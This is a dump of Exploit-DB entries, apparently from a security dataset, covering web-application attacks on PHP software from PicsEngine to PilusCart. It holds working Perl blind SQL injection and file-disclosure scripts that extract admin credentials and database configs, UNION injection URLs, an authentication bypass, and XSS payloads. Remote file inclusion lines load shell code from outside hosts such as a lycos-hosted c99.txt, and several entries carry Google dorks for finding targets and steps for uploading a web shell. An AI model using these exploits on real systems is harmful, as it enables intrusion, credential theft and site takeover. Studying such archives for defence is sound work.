deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31794
Description: PicsEngine 1.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-14
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29214/info

PicsEngine is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

PicsEngine 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/1_0/admin/index.php?l=[XSS]
Exploit-DB #5376
Description: Picture Rating 1.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-04-05
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

# -- Picture Rating 1.0 Blind SQL Injection Exploit --

# -Info/Instructions-
# After running this perl script, you will have admin details therefore you will be able to login to the admin area at http://site.com/control/
# ok once you have logged in has admin you can upload a shell, click "edit settings" and under the allowed extensions, add ".php" ok now
# register as a normal user or backup the database and get a existing users and login to the main site and navigate to upload image/photo and choose your shell and click upload
# the shell should successfully upload and now you will see a broken image, right click the broken image icon and get the link, navigate to this link in your browser and thats your shell ;)


# Vendor Not Notified
# Discovered By: t0pP8uZz
# Discovered On: 6 April 2008
# greetz: milw0rm.com, h4ck-y0u.org, ciphercrew!

# inurl:"index.php?cmd=" Latest Pictures hot 

# -- Picture Rating 1.0 Blind SQL Injection Exploit --

use strict;
use LWP::Simple;

print "---------- Picture Rating 1.0 Blind SQL Injection Exploit ----------\n";
print "-  Discovered && Coded By: t0pP8uZz                                -\n";
print "-                                  Discovered On: 6 April 2008     -\n";
print "-                                                                  -\n";
print "-   This exploit will perform a automated BLIND SQL attack on ..   -\n";
print "-   .. the target host which is running the script.                -\n";
print "--------------------------------------------------------------------\n";

print "\nEnter URL (ie: http://site.com/): ";
	chomp(my $url=<STDIN>);
	
if(inject_test($url)) {
	print "Injecting.. Please Wait this could take several minutes..\n\n";
	my $details = blind($url);
	print "Exploit Success! Admin Details: ".$details;
	exit;
}

sub blind {

	my $url    = shift;
	my $res    = undef;
	my $chr    = 48;
	my $substr = 1;
	my $done   = 1;
	
	while($done) {
		my $content = get($url."/index.php?cmd=11&listpics=Y&age1=13&age2=99 and ascii(substring((SELECT CONCAT(username,0x3a,password,0x5E) FROM admin),".$substr.",1))=".$chr."/*");
		
		if($content =~ /Previous/ && $chr == 94) { $done = 0; }
			elsif($content =~ /Previous/) { $res .= chr($chr); $substr++; $chr = 48; }
				else { $chr++; }
	}
	return $res;
}

sub inject_test {

	my $url     = shift;
	my $true    = get($url."/index.php?cmd=11&listpics=Y&age1=13&age2=99 and 1=1");
	my $false   = get($url."/index.php?cmd=11&listpics=Y&age1=13&age2=99 and 1=2");
	
	if($true =~ /Previous/ && $false !~ /Previous/) {
		print "\nTarget Site Vulnerable!\n\n";
		return 1;
	} else { print "\nTarget Site Not Vulnerable! Exiting.."; exit; }
}

# milw0rm.com [2008-04-05]
Exploit-DB #4191
Description: Pictures Rating - 'index.php?msgid' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-18
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+                  Pictures Rating SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK: allintext:"Latest Pictures" Name   Gender   Profile   Rating


DESCRIPTION:
pull out admin/members info


EXPLOITS:
http://server.com/Script_Dir/index.php?cmd=8&msgid=52/**/UNION/**/ALL/**/SELECt/**/1,2,@@version,concat(0x3c623e,username,0x3a,password,0x3c623e),5,6,7/**/FROM/**/admin/*
http://server.com/Script_Dir/index.php?cmd=8&msgid=52/**/UNION/**/ALL/**/SELECt/**/1,2,@@version,concat(0x3c623e,username,0x3a,email,0x3a,password,0x3c623e),5,6,7/**/FROM/**/members/*


NOTE/TIP:
you must register first
admin login is at /admin/ you can backup the DB there.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net/G0t-Root.org !


--==+================================================================================+==--
--==+                  Pictures Rating SQL Injection Vulnerbility                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-18]
Exploit-DB #4492
Description: Picturesolution 2.1 - 'config.php?path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-06
Author: Mogatil

Exploit:
Picturesolution <= v2.1 (config.php path) Remote File Inclusion Vulnerabilities

Found By : Mogatil , http://www.hackteach.org/cc/ 
Posted By : Cold z3ro , http://www.hackteach.org/cc/


Exploit :

/install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt?


Example :
http://www.xxx.de/Picssolution/install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt?


==================================================
==================================================
Note To All Frindes And Milw0rm users :

http://www.hackteach.org/cc/ Is Back , Join Us !
Use Our English Forum From This link 
http://today4host.net/scripts/short/?id=682
==================================================
==================================================

# milw0rm.com [2007-10-06]
Exploit-DB #32291
Description: PicturesPro Photo Cart 3.9 - Search Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-22
Author: Tyler Trioxide

Exploit:
source: https://www.securityfocus.com/bid/30798/info

Photo Cart is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Photo Cart 3.9 is vulnerable; other versions may also be affected. 

POST <script>alert(document.cookie)</script> to "Gallery or event name" field
Exploit-DB #2392
Description: Pie Cart Pro - 'Home_Path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-19
Author: Saudi Hackrz

Exploit:
#====================================================================
#Pie Cart Pro =>  (Home_Path) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#http://www.doodlebabies.com/
#
#=================================================================
#
#Script Name: Pie Cart Pro
#Script :) << $$
#http://warez.gtasoft.ru/skripts/Pie.Cart.Pro.Catalog.PHP.NULL-DGT.zip
#
#
#=================================================================
#Bug in : enc/content.php
#
#
#in <<<<  enc/content.php & .....
#=================================================================
#
#Dork : " Powered by Doodle Cart "    &    " Powered by Pie Cart Pro "
#
#Exploit :
#--------------------------------
#
#http://sitename.com/enc/content.php?Home_Path=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ : SnIpEr_SA , KIng18 , ShiKaA , LeCoPrA And All My Frind
#Thaaaaaaaaanx TO : Str0ke  , SnIpEr_SA
#www.S3hr.com 3asfh.net , king18.org  ,lezr.com , xp10.com
===============================================================================#

# milw0rm.com [2006-09-19]
Exploit-DB #2393
Description: Pie Cart Pro - 'Inc_Dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-19
Author: SnIpEr_SA

Exploit:
#====================================================================
# Pie Cart Pro => (Inc_Dir) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By SnIpEr_SA
#
#http://www.doodlebabies.com/
#
#=================================================================
#
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://site.com/[path]/affiliates.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/orders.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/events.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/index.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/articles.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/faqs.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/guestbook.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/catalog.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/wholesale.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/weblinks.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/certificates.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/sitesearch.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/contact.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/sitemap.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/search.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/registry.php?Inc_Dir=http://shell.com/shell.txt?
#http://site.com/[path]/error.php?Inc_Dir=http://shell.com/shell.txt?
#
#==============================================================================
#Discoverd By : SnIpEr_SA
#
#Conatact : SnIpEr.SA[at]hotmail.com
#
#GreetZ : SaUdi HaCkRz , Devil-x , shereba, BlacK-Code, KILLERxXx ,Qptan,red devil , mazagi,Mohajer And All My Frind
#http://www.elite-team.cc/vb , www.3asfh.net ,www.lezr.com
============================================================================#

# milw0rm.com [2006-09-19]
Exploit-DB #7225
Description: Pie Web m{a_e}sher mod rss 0.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-25
Author: ZoRLu

Exploit:
[~] Pie Web RSS module 0.1 (lib) Remote File injulide : ) )
[~]
[~] download: http://pie.ekkaia.org/file/mod_rss-0.1.tar.gz
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: RedHaK Kardesime ozel tesekurler.
[~] -----------------------------------------------------------

file: rss-0.1/lib/action/rss.php

c0de: 

include_once("$lib/class/page.php");
include_once("$lib/share/link.php");
include_once("$lib/share/stdio.php");
include_once("$lib/share/string.php");

exp:

http://localhost/script/[pie installation]/lib/action/rss.php?lib=ZoRLu.txt?


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-25]
Exploit-DB #5367
Description: PIGMy-SQL 1.4.1 - 'getdata.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-04-04
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

# - PIGMy-SQL <= 1.4.1 Blind SQL Injection Exploit -
# PIGMy-SQL is vulnerable because the mysql querys are insecure, therefor it allows an attack to execute sql querys, since the..
#	..vulnerable page only returns a picture we have to use a blind sql script, heres a little one i coded below, it will be alot faster using things like sqlmap etc. but this does the job
#
# Discovered And Coded By: t0pP8uZz
# Discovered On: April 4 2008
# Vendor has not been notifed!
# Admin login is at /admin/
# passwords are encrypted in MD5
# END OF

use strict;
use LWP::Simple;

print "--------------------------------------------------\n";
print "- PIGMy-SQL <= 1.4.1 Blind SQL Injection Exploit -\n";
print "-         Coded And Discovered By t0pP8uZz       -\n";
print "-                                                -\n";
print "- This exploit will obtain the admin user/pass.. -\n";
print "-        ..Using a blind sql injection attack    -\n";
print "--------------------------------------------------\n";

print "\nTarget Site: ";
	chomp(my $url=<STDIN>);
	
print "Valid Photo ID: ";
	chomp(my $pid=<STDIN>);

if(inject_test($url, $pid)) {

	print "\nInjecting Please Wait.. This could take several minutes.\n";
	my $result = blindattack($url, $pid);
	print "Exploited! Admin Details Are: ".$result;
	exit;
}

sub blindattack {

	my $url    = shift;
	my $pid    = shift;
	my $done   = 0;
	my $substr = 1;
	my $chr    = 48;
	my $res    = undef;
	
	while($done == 0) {
		my $content = get($url."/getdata.php?id=".$pid." and ascii(substring((select concat(name,0x3a,pass,0x5E) FROM galleryusers),".$substr.",1))=".$chr."/*");
		
		if($content =~ /#/ && $chr == 94) { $done = 1; }
			elsif($content =~ /#/) { $res .= chr($chr); $substr++; $chr = 48; }
				else { $chr++; }
	}
	return $res;
}

sub inject_test {

	my $url = shift;
	my $pid = shift;
	
	my $true  = get($url."/getdata.php?id=".$pid." and 1=1");
	my $false = get($url."/getdata.php?id=".$pid." and 1=2");
	
	if($true =~ /#/ && $false !~ /#/) { 
		print "\nTarget Vulnerable!";
		return 1;
	}
	else {
		print "Target not vulnerable! die'ing!";
		exit;
	}
}

# milw0rm.com [2008-04-04]
Exploit-DB #35815
Description: PikaCMS - Multiple Local File Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2011-06-01
Author: KnocKout

Exploit:
source: https://www.securityfocus.com/bid/48068/info

PikaCMS is prone to multiple local file-disclosure vulnerabilities because it fails to adequately validate user-supplied input.

Exploiting these vulnerabilities may allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. 

use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('title Pika CMS <= Remote 'baza_mysql.php' Disclosure  Exploit');
system('color 2');
if(@ARGV < 2)
{
print "[-]Su Sekilde Kocum. \n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 HedefWeb /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
print "\n************************************************************************\n";
print "\* Pika CMS <= Remote 'baza_mysql.php' Disclosure  Exploit              *\n";
print "\* Exploited By : KnocKout                                                  *\n";
print "\* Contact :   knockoutr[at]msn[dot]com                                 *\n";
print "\* --                                    *\n";
print "\*********************************************************************\n\n\n";
($TargetIP, $path, $File,) = @ARGV;
$File="shkarko.php?f=lidhjet/baza_mysql.php";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Az Bekle Sikertiyorum!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "baza_mysql.php");
if ($request->is_success)
{
print "[+] $url <= Hedef Site Exploit Edildi!\n\n";
print "[+] OPERASYON TAMAM !\n";
print "[+] baza_mysql.php Dosyasi Indirildi (z_WALKING_TIMES_DATA.php)\n";
print "[+] GRAYHATZ STAR \n";
print "[+] Special tnX # + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * agix * KedAns-Dz
# gunslinger_ * Sn!pEr.S!Te * ZoRLu * anT!-Tr0J4n 'www.1337day.com/team' ++ .... 
 \n";
exit();
}
else
{
print "[!] Exploit $url Basarisiz !\n[!] ".$request->status_line."\n";
exit();
}
Exploit-DB #33119
Description: Pilot Group eTraining - 'courses_login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-24
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35834/info

PG eTraining is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/courses_login.php?cat_id=[XSS]
Exploit-DB #33121
Description: Pilot Group eTraining - 'lessons_login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-24
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35834/info
  
PG eTraining is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/lessons_login.php?btn=start&cur=[XSS]
http://www.example.com/lessons_login.php?id=[XSS]
Exploit-DB #33120
Description: Pilot Group eTraining - 'news_read.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-24
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35834/info
 
PG eTraining is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/news_read.php?id=[XSS]
Exploit-DB #6613
Description: Pilot Group eTraining - 'news_read.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-28
Author: S.W.A.T.

Exploit:
--==+================================================================================+==--
--==+       Pilot Online Training Solution Remote SQL Injection Vulnerbility         +==--
--==+================================================================================+==--

-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

AUTHOR: S.W.A.T.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-

Site: http://www.elmspro.com/etraining/

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DORK (google): "Powered by PG Online Training Solution - learning management system"

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DESCRIPTION:
You Can See Admin User & MD5 Password ..::.. Then Crack It & Login ;) :D

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

EXPLOITS:
www.site.com/news_read.php?id=-1/**/union/**/select/**/1,login,3,4,password,6,7,8,9/**/from/**/students/*

Online Demo:
http://www.elmspro.com/etraining/demo/news_read.php?id=-1/**/union/**/select/**/1,login,3,4,password,6,7,8,9/**/from/**/students/*

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

NOTE/TIP:

Admin Login Is At /admin/


-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


--==+================================================================================+==--
--==+       Pilot Online Training Solution Remote SQL Injection Vulnerbility         +==--
--==+================================================================================+==--

# milw0rm.com [2008-09-28]
Exploit-DB #7201
Description: Pilot Group PG Roommate Finder Solution - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-23
Author: ZoRLu

Exploit:
[~] PG Roomate Finder Solution Auth Bypass
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Date: 23.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Kucuk Bir Rica: Lutfen DemolarÃ½ Hacklemeyin ( pls dont make hack demos )
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: a.q a.q a.q a.q a.q a.q a.q a.q a.q limit(a.q)=sonsuz  ( bIktIm )
[~]
[~] dork: "Powered by PG Roomate Finder Solution - roommate estate web site design"  ( aha size dork :( ( )
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu

note: generally admin name: admin 


exploit for demo: 

login: http://www.realtysoft.pro/roommate/demo/admin/index.php

username: admin ' or ' 1=1--

password: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-23]
Exploit-DB #32597
Description: Pilot Group PG Roommate Finder Solution - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-23
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/32430/info

Pilot Group PG Roommate is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following proof of concept is available:

username: admin ' or ' 1=1--
[CREDENTIAL_REDACTED]
Exploit-DB #46368
Description: PilusCart 1.4.1 - 'send' SQL Injection
Type: webapps
Platform: php
Date: 2019-02-13
Author: Mehmet EMIROGLU

Exploit:
####################################################################

# Exploit Title: PilusCart 1.4.1 - 'send' SQL Vulnerability
# Dork: N/A
# Date: 10-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/pilus/
# Software Link: https://sourceforge.net/projects/pilus/
# Version: 1.4.1
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
# Software Description: PilusCart is a web-based online store management system, written in PHP scripting language as the most popular web programming language today. To store the data, PilusCart uses MySQL relational database management system.

####################################################################

# Vulnerabilities / Impact
# This web application called as PiLuS 1.4.1 version.
# Switch to the http://localhost/PiLUS/read-apa-itu-pdo
  fill in the red-colored parts that I have given in the link
  https://i.hizliresim.com/MV11La.jpg
  Get in with the burp suite. and add the payload
  at the end of the request to the attack pattern.

####################################################################

# POC - SQL (Boolean Based String)
# Parameters : send
# Attack Pattern : RLIKE (case when  7488715=7488715 then
0x656d69726f676c75 else 0x28 end)
# POST Request :
http://localhost/PiLUS/read-apa-itu-pdo?post_id=3&post_slug=apa-itu-pdo&nama_komentar=4866630&situs_web=9391510&captcha=4551404&token=473ec0c6bda264fefb8447c8ff01956248ea477c&isi_komentar=EMIROGLU2823174&send=Kirim
RLIKE
(case when  7488715=7488715 then 0x656d69726f676c75 else 0x28 end)